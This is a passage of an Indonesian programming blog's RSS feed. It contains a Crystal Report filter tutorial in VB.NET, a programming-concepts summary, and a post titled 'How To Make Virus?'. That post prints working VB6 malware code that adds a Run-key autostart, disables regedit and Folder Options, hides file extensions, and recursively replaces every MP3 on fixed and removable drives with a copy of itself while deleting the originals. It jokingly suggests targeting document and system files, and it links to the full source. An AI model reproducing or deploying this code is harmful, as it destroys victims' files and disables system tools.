lupa apa aja, tapi tenang aja koq soalnya file aplikasinya dah gwe upload jadi you-you semua tinggal unduh aja (download maksudnya). Oya satu lagi, gwe bikin CR-nya pake wizard bukan pake blank report tapi untuk yang ini terserah aja tergantung kebutuhan dan selera mau pake yang wizard atau Blank Report. terus gwe masukin semua column yang pengin gwe tampilkan. Setelah itu gwe save CR-nya, dan berlanjut ke codingan untuk Form aplikasi Programnya, berikut ini adalah codingnya:&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Public Class Form1   &lt;br /&gt;Dim NW_Rpt As New NW_OrderReport    &lt;br /&gt;Dim int_bulan As Integer    &lt;br /&gt;Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load    &lt;br /&gt;Me.CrystalReportViewer1.ReportSource = NW_Rpt    &lt;br /&gt;End Sub&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;‘Private Sub cmbMonth_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmbMonth.SelectedIndexChanged   &lt;br /&gt;‘End Sub&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;‘Private Sub cmbYear_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmbYear.SelectedIndexChanged   &lt;br /&gt;‘End Sub&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Private Sub btnSubmit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSubmit.Click   &lt;br /&gt;Try    &lt;br /&gt;Select Case cmbMonth.Text    &lt;br /&gt;Case “Januari”    &lt;br /&gt;int_bulan = 1    &lt;br /&gt;Case “Februari”    &lt;br /&gt;int_bulan = 2    &lt;br /&gt;Case “Maret”    &lt;br /&gt;int_bulan = 3    &lt;br /&gt;Case “April”    &lt;br /&gt;int_bulan = 4    &lt;br /&gt;Case “Mei”    &lt;br /&gt;int_bulan = 5    &lt;br /&gt;Case “Juni”    &lt;br /&gt;int_bulan = 6    &lt;br /&gt;Case “Juli”    &lt;br /&gt;int_bulan = 7    &lt;br /&gt;Case “Agustus”    &lt;br /&gt;int_bulan = 8    &lt;br /&gt;Case “September”    &lt;br /&gt;int_bulan = 9    &lt;br /&gt;Case “Oktober”    &lt;br /&gt;int_bulan = 10    &lt;br /&gt;Case “November”    &lt;br /&gt;int_bulan = 11    &lt;br /&gt;Case “Desember”    &lt;br /&gt;int_bulan = 12    &lt;br /&gt;End Select    &lt;br /&gt;CrystalReportViewer1.SelectionFormula = “{Orders.OrderDate} in datetime(” &amp;amp; cmbYear.Text &amp;amp; “,” &amp;amp; int_bulan.ToString() &amp;amp; “,1) to datetime(” &amp;amp; cmbYear.Text &amp;amp; “,” &amp;amp; int_bulan.ToString() &amp;amp; “,” &amp;amp; Now.Day.ToString() &amp;amp; “)”    &lt;br /&gt;CrystalReportViewer1.RefreshReport()    &lt;br /&gt;Catch ex As Exception    &lt;br /&gt;MessageBox.Show(”Report Error”, “Form Filter Report”, MessageBoxButtons.OK, MessageBoxIcon.Error)    &lt;br /&gt;End Try    &lt;br /&gt;End Sub    &lt;br /&gt;End Class&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Jadi untuk penjelasan teknisnya gimana ntu CR bisa difilter begini ceritanya. Pertama gwe bikin Selection Formula dimana SelectionFormula ini berguna untuk melakukan macam-macam rumus untuk kegunaan di CR dan salah satunya untuk filter CR itu sendiri. Untuk yang masih bingung yang mana sih SelectionFormulanya ? yang ini lho “{Orders.OrderDate} in datetime(1996,8,1) to datetime(1997,1,1)”, tapi untuk keperluan coding diatas 1996 atau tahunnya gwe ganti dengan pilihan tahun yang ada di cmbYear dan bulannya gwe ganti dengan pilihan yang yang ada di cmbMonth.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Mungkin ada yang bertanya-tanya gimana kan di cmbMonth pilhannya adanya Januari, Februari,dst sementara format yang ada di SelectionFormula berupa (YYYY,mm,dd) dan itu semua berupa angka bukan huruf. Untuk itulah gwe menggunakan coding Conditional Sytax yang dimana coding tersebut adalah Select…Case seperti diatas, Jadi dengan menggunakan coding tersebut apabila user memilih Januari, maka input yang masuk adalah bukan huruf Januari melainkan angka 1, itu berlaku juga untuk Februari adalah angka 2 begitu seterusnya untuk bulan-bulan berikutnya.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Begitulah untuk pembelajaran ini, sori kalo masih banyak salahnya, gwe hanya ingin mencoba berbagi ilmu dengan siapa saja, mudah-mudahan bermanfaat hehehe, lain kali gwe kasih lagi coding-coding atau source code lain yang mudah-mudahan berguna untuk keperluan apapun.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Aplikasi tersebut dibuat dengan Visual Studio 2005. Bahasa pemrograman VB.NET, dan menggunakan SQL Server 2005 database Northwind table Orders, dan Crystal Report bawaan Visual Studio 2005&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Oya untuk yang pengin download aplikasi program diatas silahkan klik link berikut:&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://h1.ripway.com/ryanrei/CR_Filter_month.rar&quot;&gt;CR_Filter_month&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Source : &lt;a href=&quot;http://rockwithryan.wordpress.com/2008/10/06/vbnet-2005-source-code-crystal-report-filter-crystal-report-dengan-bulan-dan-tahun/&quot; target=&quot;_blank&quot;&gt;rockwithryan.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterEditableSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:4607edd5-0f9e-4470-ae25-0e7002bd4e5f&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/visual+basic&quot; rel=&quot;tag&quot;&gt;visual basic&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/crystal+report&quot; rel=&quot;tag&quot;&gt;crystal report&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/filter&quot; rel=&quot;tag&quot;&gt;filter&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/source+code&quot; rel=&quot;tag&quot;&gt;source code&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/10/vbnet-2005-source-code-crystal-report.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-8060018168620958028</guid><pubDate>Wed, 08 Oct 2008 17:10:00 +0000</pubDate><atom:updated>2009-01-15T01:55:48.239+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>Mini Market With VB 6 + Access &amp;amp; Sql</title><description>&lt;p align=&quot;justify&quot;&gt;Ada komplain,  postingan dihapus ye.. ;) &lt;strong&gt;Sorry&lt;/strong&gt;&lt;/p&gt;</description><link>http://indoprogrammer.blogspot.com/2008/10/mini-market-with-vb-6-access-sql.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-1623904629272674896</guid><pubDate>Tue, 02 Sep 2008 16:19:00 +0000</pubDate><atom:updated>2008-09-02T23:19:13.706+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>How To Make Virus?</title><description>&lt;p align=&quot;justify&quot;&gt;Emang sich, virus adalah sesuatu yg tidak baik.   &lt;br /&gt;tapi virus ini sangat berguna.. virus ini adalah sesuatu yg dapat merusak sesuatu terutama komputer. kamu pasti tahu orang2 yg suka membajak kaset? nah untuk mencegah hal itu, kita bisa menyebarkan virus ini. ya, klo hidup gak ada music bisa mati... he2 y tapi gak ap kan bajak aj!&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;ciri2 virus ini adlh:&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;1. menon aktifkan :   &lt;br /&gt;- Folder Option    &lt;br /&gt;- Penglihatan Extensi file (.doc, .exe, .mp3), maksudnya jika kita di windows explorer bisa melihat ekstensi file maka kita tak akan melihat ekstensi file tersebut, biasa pertahanan diri gitu    &lt;br /&gt;- mengunci regedit (seperti biasa)    &lt;br /&gt;- mematikan winamp secara tiba2 jika file virus aktif    &lt;br /&gt;bisa dilihat pada code dibawah ini:&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Dim titik As String   &lt;br /&gt;titik = &amp;quot;&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;CreateKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ServiceOptionMP3&amp;quot;, _     &lt;br /&gt;titik &amp;amp; &amp;quot;c:\windows\winamp.dll.exe&amp;quot; &amp;amp; titik      &lt;br /&gt;CreateIntegerKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt&amp;quot;, 1      &lt;br /&gt;CreateIntegerKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools&amp;quot;, 1      &lt;br /&gt;CreateKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit&amp;quot;, &amp;quot;1&amp;quot;      &lt;br /&gt;CreateIntegerKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools&amp;quot;, 1      &lt;br /&gt;CreateKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit&amp;quot;, &amp;quot;1&amp;quot;      &lt;br /&gt;CreateIntegerKey &amp;quot;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions&amp;quot;, 1      &lt;br /&gt;CreateKey &amp;quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption&amp;quot;, &amp;quot;STOP PIRACY!!!!&amp;quot;      &lt;br /&gt;CreateKey &amp;quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText&amp;quot;, &amp;quot;Stop pembajakan Musisi Dalam Negeri, Jangan Gunakan MP3 lagi (sok sok an) huahahahahaha!!!&amp;quot;      &lt;br /&gt;Shell &amp;quot;taskkill /f /im winamp.exe&amp;quot;, vbHide&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;2. Mencari file berekstensi .mp3 yang ada di hardisk, lihat saja code di bawah ini :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;&#39;///////////////////////Sub Perangkap Hardisk/////////////     &lt;br /&gt;Sub cari()      &lt;br /&gt;Dim ictr As Integer      &lt;br /&gt;&#39;If InStr(cboDrives.Text, &amp;quot;All Hard Drives&amp;quot;) &amp;gt; 0 Then      &lt;br /&gt;For ictr = 0 To UBound(sDrives)      &lt;br /&gt;&#39;////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc      &lt;br /&gt;GetFiles sDrives(ictr), True, &amp;quot;*.mp3&amp;quot;      &lt;br /&gt;Next      &lt;br /&gt;&#39;Else      &lt;br /&gt;&#39;////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc      &lt;br /&gt;&#39; frmMain.GetFiles cboDrives.Text, True, &amp;quot;*.doc&amp;quot;      &lt;br /&gt;&#39;End If      &lt;br /&gt;&#39; frmMain.Visible = True      &lt;br /&gt;End Sub      &lt;br /&gt;Dan kode ini untuk mencari seluruh partisi hardisk yang ada di komputer      &lt;br /&gt;Dim ictr As Integer      &lt;br /&gt;Dim iDriveCount As Integer      &lt;br /&gt;Dim sAllDrives As String      &lt;br /&gt;Dim sDrive As String      &lt;br /&gt;ReDim sDrives(0) As String      &lt;br /&gt;For ictr = 66 To 90      &lt;br /&gt;sDrive = Chr(ictr) &amp;amp; &amp;quot;:\&amp;quot;      &lt;br /&gt;If DriveType(sDrive) = &amp;quot;Fixed Drive&amp;quot; Or DriveType(sDrive) = &amp;quot;Removable Drive&amp;quot; Then      &lt;br /&gt;If sAllDrives &amp;lt;&amp;gt; &amp;quot;&amp;quot; Then sAllDrives = sAllDrives &amp;amp; &amp;quot;, &amp;quot;      &lt;br /&gt;sAllDrives = sAllDrives &amp;amp; sDrive      &lt;br /&gt;iDriveCount = iDriveCount + 1      &lt;br /&gt;End If      &lt;br /&gt;Next&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;3. Mencari dan MELAHAP SELURUH FILE MP3 TANPA AMPUN, lihat code di bawah ini:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;&#39;//////////////////////////////Sub perangkap File/////////////////////     &lt;br /&gt;Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = &amp;quot;*.*&amp;quot;)      &lt;br /&gt;&#39;Screen.MousePointer = vbHourglass      &lt;br /&gt;&#39;Dim li As ListItem      &lt;br /&gt;Dim WFD As WIN32_FIND_DATA      &lt;br /&gt;Dim hFile As Long, fPath As String, fName As String      &lt;br /&gt;Dim bawa As Long      &lt;br /&gt;fPath = AddBackslash(Path)      &lt;br /&gt;Dim sPattern As String      &lt;br /&gt;sPattern = Pattern      &lt;br /&gt;fName = fPath &amp;amp; sPattern      &lt;br /&gt;hFile = FindFirstFile(fName, WFD)      &lt;br /&gt;On Error Resume Next      &lt;br /&gt;&#39;///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////      &lt;br /&gt;If (hFile &amp;gt; 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) &amp;lt;&amp;gt; FILE_ATTRIBUTE_DIRECTORY) Then      &lt;br /&gt;&#39;Set li = lvFiles.ListItems.Add(, , fPath &amp;amp; StripNulls(WFD.cFileName))      &lt;br /&gt;&#39;MsgBox fPath &amp;amp; StripNulls(WFD.cFileName)      &lt;br /&gt;&#39;//////mengeset atribut file .doc menjadi atribut archive atau biasa      &lt;br /&gt;bawa = SetFileAttributes(fPath &amp;amp; StripNulls(WFD.cFileName), 0)      &lt;br /&gt;FileCopy App.Path &amp;amp; &amp;quot;\&amp;quot; &amp;amp; App.EXEName &amp;amp; &amp;quot;.exe&amp;quot;, fPath &amp;amp; StripNulls(WFD.cFileName) &amp;amp; &amp;quot;.exe&amp;quot;      &lt;br /&gt;DeleteFile fPath &amp;amp; StripNulls(WFD.cFileName)      &lt;br /&gt;End If      &lt;br /&gt;If hFile &amp;gt; 0 Then      &lt;br /&gt;While FindNextFile(hFile, WFD)      &lt;br /&gt;&#39;///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////      &lt;br /&gt;If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) &amp;lt;&amp;gt; FILE_ATTRIBUTE_DIRECTORY) Then      &lt;br /&gt;&#39;Set li = lvFiles.ListItems.Add(, , fPath &amp;amp; StripNulls(WFD.cFileName))      &lt;br /&gt;&#39;MsgBox fPath &amp;amp; StripNulls(WFD.cFileName)      &lt;br /&gt;&#39;//////mengeset atribut file .doc menjadi atribut archive atau biasa      &lt;br /&gt;bawa = SetFileAttributes(fPath &amp;amp; StripNulls(WFD.cFileName), 0)      &lt;br /&gt;FileCopy App.Path &amp;amp; &amp;quot;\&amp;quot; &amp;amp; App.EXEName &amp;amp; &amp;quot;.exe&amp;quot;, fPath &amp;amp; StripNulls(WFD.cFileName) &amp;amp; &amp;quot;.exe&amp;quot;      &lt;br /&gt;DeleteFile fPath &amp;amp; StripNulls(WFD.cFileName)      &lt;br /&gt;End If      &lt;br /&gt;Wend      &lt;br /&gt;End If      &lt;br /&gt;If SubFolder Then      &lt;br /&gt;hFile = FindFirstFile(fPath &amp;amp; &amp;quot;*.*&amp;quot;, WFD)      &lt;br /&gt;If (hFile &amp;gt; 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _      &lt;br /&gt;StripNulls(WFD.cFileName) &amp;lt;&amp;gt; &amp;quot;.&amp;quot; And StripNulls(WFD.cFileName) &amp;lt;&amp;gt; &amp;quot;..&amp;quot; Then      &lt;br /&gt;GetFiles fPath &amp;amp; StripNulls(WFD.cFileName), True, sPattern      &lt;br /&gt;End If      &lt;br /&gt;While FindNextFile(hFile, WFD)      &lt;br /&gt;If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _      &lt;br /&gt;StripNulls(WFD.cFileName) &amp;lt;&amp;gt; &amp;quot;.&amp;quot; And StripNulls(WFD.cFileName) &amp;lt;&amp;gt; &amp;quot;..&amp;quot; Then      &lt;br /&gt;GetFiles fPath &amp;amp; StripNulls(WFD.cFileName), True, sPattern      &lt;br /&gt;End If      &lt;br /&gt;Wend      &lt;br /&gt;End If      &lt;br /&gt;FindClose hFile      &lt;br /&gt;&#39;Set li = Nothing      &lt;br /&gt;&#39;Screen.MousePointer = vbDefault      &lt;br /&gt;End Sub&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;Nah setelah terkena file ini maka yang akan terjadi seluruh file mp3 akan berubah menjadi .exe dan file .mp3 akan dihapus tanpa amapun....buehehehehehe....jadi ya siap - siap mem-backup hardisk anda terutama file mp3. OKeh......ih kok jahat sekali sih.....ya sekali lagi membuat virus itu harus jahat.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;   &lt;br /&gt;-------------------------------TIPS SETAN-----------------------------------    &lt;br /&gt;COBA YANG DICARI BUKAN FILE MP3 SAJA TAPI FILE SISTEM ATAU FILE .DOC .XLS DAN .DAT, BUKANKAH ITU MENYENANGKAN?Tapi tetep saja menjadi penghancur.....seorang virus maker yang baik tidak akan menghancurkan tapi akan membuat dunia lebih baik lewat komputer tul gak...    &lt;br /&gt;-------------------------------------------------------------------------------&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;   &lt;br /&gt;Di sini kita hanya belajar bagai mana virus tersebut bekerja...bagaimana virus tersebut di program, sehingga kita tau jalan dan proses virus tersebut dan sekaligus menyelamatkan bangsa kita dari aktifitas pembajakan - pembajakan......soalnya NENEK MOYANGKU SEORANG PELAUT, coba nenek moyangku seorang sarjana atau seorang dermawan, pasti kita hasilnya beda kan...huahahahahaha....yang jelas program ini dapat dijadikan untuk proteksi file apa saja. Misalnya kita punya e-book gratis, lalu dibajak sama orang...ck ck ck kasian sudah gratis dibajak pula...nah untuk memberi pelajaran kepada orang itu gunakan program ini....hihihihihi...yang jelas ini ilmu dan tidak boleh disembunyikan, saya tidak bertanggung jawab atas kerusakan yang terjadi di komputer anda.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Tetapi yang jelas virus ini MASIH BANYAK KELEMAHANNYA, mungkin anda dapat mengembangkannya sendiri. Terserah ingin dikembangkan kode penyebarannya, kode pertahannannya atau judul lagunya mau di rubah, bukan Samson-Naluri Lelaki lagi, tapi mungkin lagi lain yang akhir - akhir ini sedang naik daun. kayak lagu apaaaaaaa gitu pokoknya....nah sekarang coba bedakan gambar di bawah ini, mana yang virus hayooohhhh!!!!!&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Ok... kamu bisa download source code virusnya &lt;a href=&quot;http://www.virologi.info/download/mp3viri.zip&quot;&gt;DSinI&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;source : &lt;a target=&quot;_blank&quot; href=&quot;http://gila-blog.blogspot.com/2008/09/how-to-make-virus.html&quot;&gt;gila-blog.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:1e5b2719-ba63-4b7c-b5c1-aae3f6defba6&quot; class=&quot;wlWriterSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/virus&quot; rel=&quot;tag&quot;&gt;virus&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/programming&quot; rel=&quot;tag&quot;&gt;programming&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/visual%20basic&quot; rel=&quot;tag&quot;&gt;visual basic&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/09/how-to-make-virus.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-6078406860068809462</guid><pubDate>Thu, 21 Aug 2008 13:18:00 +0000</pubDate><atom:updated>2008-08-21T20:18:27.770+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Review</category><title>Konsep Bahasa Pemrograman</title><description>&lt;p align=&quot;justify&quot;&gt;Buat yang ambil jurusan Teknik Informatika, siapa c yang gak ngerti sama Algoritma dan Pemrograman?   &lt;br /&gt;Yah bisa dibilang pelajarannya calon programmer.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Mata kuliah ini bisa dibilang cukup asyik dan menarik. Yah menurutku begitu sih..   &lt;br /&gt;Setelah aku baca-baca lagi modul buatan dosenq, aku jadi kepikiran ngepost ringkasannya.    &lt;br /&gt;Ini bisa dibilang bab I dari Algoritma Pemrograman, yaitu tentang konsep bahasa pemrograman.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Nah yang aq tulis ini ringkasannya,, lumayan, ringkasan ini bisa bikin nilai Alproq bagus hehehe.. (gak nyombong loh... ^_^ )   &lt;br /&gt;Oke langsung aja yah... Kita mulai :    &lt;br /&gt;&lt;strong&gt;Konsep Bahasa Pemrograman     &lt;br /&gt;&lt;/strong&gt;    &lt;br /&gt;Definisi Program    &lt;br /&gt;&amp;#8226; Adalah kumpulan instruksi-instruksi tersendiri yang biasanya disebut source code yang dibuat oleh programmer (pembuat program).    &lt;br /&gt;&amp;#8226; Program adalah kumpulan instruksi atau perintah yang disusun sedemikian rupa sehingga mempunyai urutan nalar yang tepat untuk menyelesaikan suatu persoalan. (Menurut P. Insap Santosa).    &lt;br /&gt;&amp;#8226; Instruksi (statement) yang dimaksud adalah syntax (cara penulisan) sesuai dengan bahasa pemrograman yang digunakan.    &lt;br /&gt;&amp;#8226; Mempunyai komponen-komponen : Input, Output, Proses, Percabangan dan Perulangan.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Bahasa Pemrograman   &lt;br /&gt;&amp;#8226; Adalah alat untuk membuat program    &lt;br /&gt;&amp;#8226; Contoh: C, C++, C#, Pascal, Basic, Perl, PHP, ASP, JHP, Java, dll.    &lt;br /&gt;&amp;#8226; Perbedaan: cara memberikan instruksi    &lt;br /&gt;&amp;#8226; Persamaan: bertujuan menghasilkan output yang sama&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Paradigma Pemrograman   &lt;br /&gt;&amp;#8226; Pemrograman Prosedural    &lt;br /&gt;&amp;#8226; Berdasarkan urutan-urutan, sekuensial    &lt;br /&gt;&amp;#8226; Program adalah suatu rangkaian prosedur untuk memanipulasi data. Prosedur merupakan kumpulan instruksi yang dikerjakan secara berurutan.    &lt;br /&gt;&amp;#8226; Harus mengingat prosedur mana yang sudah dipanggil dan apa yang sudah diubah.    &lt;br /&gt;&amp;#8226; Pemrograman Fungsional    &lt;br /&gt;&amp;#8226; Berdasarkan teori fungsi matematika    &lt;br /&gt;&amp;#8226; Fungsi merupakan dasar utama program.    &lt;br /&gt;&amp;#8226; Pemrograman Terstruktur    &lt;br /&gt;&amp;#8226; Secara berurutan dan terstrukrtur.    &lt;br /&gt;&amp;#8226; Program dapat dibagai-bagi menjadi prosedur dan fungsi.    &lt;br /&gt;&amp;#8226; Contoh: PASCAL dan C    &lt;br /&gt;&amp;#8226; Pemrograman Modular    &lt;br /&gt;&amp;#8226; Pemrograman ini membentuk banyak modul.    &lt;br /&gt;&amp;#8226; Modul merupakan kumpulan dari prosedur dan fungsi yang berdiri sendiri    &lt;br /&gt;&amp;#8226; Sebuah program dapat merupakan kumpulan modul-modul.    &lt;br /&gt;&amp;#8226; Contoh: MODULA-2 atau ADA    &lt;br /&gt;&amp;#8226; Pemrograman Berorientasi Obyek    &lt;br /&gt;&amp;#8226; Pemrograman berdasarkan prinsip obyek, dimana obyek memiliki data/variabel/property dan method/event/prosedur yang dapat dimanipulasi    &lt;br /&gt;&amp;#8226; Contoh: C++, Object Pascal, dan Java.    &lt;br /&gt;&amp;#8226; Pemrograman Berorientasi Fungsi    &lt;br /&gt;&amp;#8226; Pemrograman ini berfokus pada suatu fungsi tertentu saja. Sangat tergantung pada tujuan pembuatan bahasa pemrograman ini.    &lt;br /&gt;&amp;#8226; Contoh: SQL (Structured Query Language), HTML, XML dan lain-lain.    &lt;br /&gt;&amp;#8226; Pemrograman Deklaratif    &lt;br /&gt;&amp;#8226; Pemrograman ini mendeskripsikan suatu masalah dengan pernyataan daripada memecahkan masalah dengan implementasi algoritma.    &lt;br /&gt;&amp;#8226; Contoh: PROLOG&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Algoritma   &lt;br /&gt;&amp;#8226; Asal kata Algoritma berasal dari nama Abu Ja&amp;#8217;far Mohammed Ibn Musa al-Khowarizmi    &lt;br /&gt;&amp;#8226; Ilmuan Persia yang menulis kitab al jabr w&amp;#8217;al-muqabala (rules of restoration and reduction)    &lt;br /&gt;&amp;#8226; Tahun 825 M    &lt;br /&gt;&amp;#8226; Berasal dari Iran&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Definisi Algoritma   &lt;br /&gt;&amp;#8226; Algoritma adalah urutan langkah logis tertentu untuk memecahkan suatu masalah.    &lt;br /&gt;&amp;#8226; Urutan langkah logis, yang berarti algoritma harus mengikuti suatu urutan tertentu, tidak boleh melompat-lompat.    &lt;br /&gt;&amp;#8226; (Dari Microsoft Press Computer and Internet Dictionaary 1997, 1998)    &lt;br /&gt;&amp;#8226; Alur pemikiran dalam menyelesaikan suatu pekerjaan yang dituangkan secara tertulis.    &lt;br /&gt;&amp;#8226; Alur pikiran, sehingga algoritma seseorang dapat juga berbeda dari algoritma orang lain.    &lt;br /&gt;&amp;#8226; Tertulis, yang artinya dapat berupa kalimat, gambar, atau tabel tertentu.    &lt;br /&gt;&amp;#8226; (Dari Algoritma dan Struktur Data dengan C, C++, dan Java oleh Moh Sjukani hal 1)&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Kriteria Algoritma (Donald E. Knuth)   &lt;br /&gt;&amp;#8226; Input: algoritma dapat memiliki nol atau lebih inputan dari luar.    &lt;br /&gt;&amp;#8226; Output: algoritma harus memiliki minimal satu buah output keluaran.    &lt;br /&gt;&amp;#8226; Definiteness (pasti): algoritma memiliki instruksi-instruksi yang jelas dan tidak ambigu.    &lt;br /&gt;&amp;#8226; Finiteness (ada batas): algoritma harus memiliki titik berhenti (stopping role).    &lt;br /&gt;&amp;#8226; Effectiveness (tepat dan efisien): algoritma sebisa mungkin harus dapat dilaksanakan dan efektif. Contoh instruksi yang tidak efektif adalah: A = A + 0 atau A = A * 1&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Namun ada beberapa program yang memang dirancang untuk unterminatable: contoh Sistem Operasi&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;em&gt;refrensi : &lt;/em&gt;&lt;a href=&quot;http://lecturer.ukdw.ac.id/anton/&quot;&gt;&lt;em&gt;http://lecturer.ukdw.ac.id/anton/&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Nah ini tadi baru bab paling awal... &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Kalau mau lebih dalam lagi,Tungu tanggal maennya.... gak lama koq...&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Salam Penulis&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://newbie-center.blogspot.com/2008/08/konsep-bahasa-pemrograman.html&quot; target=&quot;_blank&quot;&gt;newbie-center.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:fef1e1de-938f-4f0a-949b-5acc2a041f06&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/pengenalan&quot; rel=&quot;tag&quot;&gt;pengenalan&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/pemrograman&quot; rel=&quot;tag&quot;&gt;pemrograman&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/konsep&quot; rel=&quot;tag&quot;&gt;konsep&lt;/a&gt;&lt;/div&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;/p&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/konsep-bahasa-pemrograman.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-7958132073292411765</guid><pubDate>Thu, 21 Aug 2008 13:16:00 +0000</pubDate><atom:updated>2008-08-21T20:16:03.011+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Java</category><title>Membuat program untuk pemula : Java Aplikasi 